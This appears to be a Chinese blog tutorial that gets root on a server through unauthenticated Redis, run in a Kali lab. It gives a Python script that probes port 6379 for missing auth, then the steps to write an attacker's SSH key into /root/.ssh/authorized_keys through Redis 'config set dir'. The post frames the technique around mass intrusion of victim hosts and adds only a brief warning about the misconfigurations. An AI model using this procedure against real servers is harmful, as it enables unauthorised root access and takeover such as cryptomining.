Kali利用Redis未授权漏洞入侵服务器
前言
最近在学Redis,学习的过程中看到网上爆出 黑客入侵服务器实现批量挖矿
这nb的操作就是靠着redis这个跳板。
本文原地址:http://www.blog.lisok.cn/?id=34,欢迎访问,说不定能解决你的其他问题
简单分析一下整个流程,批量入侵,使用redis未授权访问漏洞。
-
首先要有入侵的一些服务器地址,然后根据Redis的组件指纹去判断是否存在这个漏洞,也就是 6379 端口的开放情况。
-
写个脚本 尝试使用socket连接服务器的6379 进行获取数据,能否得到希望的响应,可以得到以下结果
- 存在其他服务占用了6379,只得放弃该鸡 hhh,大批量入侵并不在乎这只
- 需要授权,不用说,更得放弃
nil
或者查到具体数据 ,这就是我们心仪的目标 φ(* ̄0 ̄)
-
生成ssh公钥,拷贝到目标服务器的/root/.ssh
-
ssh连接
铺垫
整个入侵的过程还是比较 理想化的,也就是说很少能碰到这么不安全的服务器 hhh,
一般被入侵服务器有以下几个缺陷:
-
服务器的防火墙被关闭 这是第一重防御
-
redis的配置文件中 允许远程连接 和 不绑定IP
-
redis 未设置密码
-
使用默认指纹,也就是默认端口号6379
所以各位引以为戒,避免产生以上的缺陷。
入侵复现
- 先准备服务器(左侧被入侵机器) 和 攻击端(右侧Kali系统)
两个都要安装Redis,其中
左侧IP : 192.168.41.130
右侧IP : 192.168.41.129
- 写Py脚本 探测一下目标服务器是否开放6379,以及是否为redis绑定该端口、Redis是否设置密码。
如果运行返回true可以进行下一步,若不能请判断是否满足上文分析的缺陷。
from socket import socket, AF_INET, SOCK_STREAM
s = socket(AF_INET, SOCK_STREAM)
s.settimeout(10)
# 元组 (目标ip,端口)
s.connect(('192.168.41.130', 6379))
s.send('GET 1\r\n'.encode())
data = s.recv(20)
s.close()
if '-NOAUTH'.encode() in data:
print('No')
else:
print('yes')
- Kali上场!在攻击端生成ssh公私密钥
$ (echo -e "\n\n";cat id_rsa.pub;echo -e "\n\n")>1.txt
处理(头和尾拼接两个换行)一下公钥,存为新文件1.txt,这是我们将要放置在被攻击端的公钥。
- Kali尝试连接服务器的Redis服务
成功连接,接下来将之前的1.txt的内容作为数据存入 Redis
成功存入,接下来要做的事就是让被攻击端 将公钥作为authorized_keys
存储在/root/.ssh
中,实现我们免密登录
- 首先 修改Redis默认文件存储的位置
192.168.41.130:6379> config get dir
1) "dir"
2) "/opt/app/redis/bin"
192.168.41.130:6379> config set dir /root/.ssh
OK
修改成功,然后设置要保存的文件名为:authorized_keys
到这步 已经稳了,尝试免密连接!
成功获得root权限,撒花 φ(゜▽゜*)♪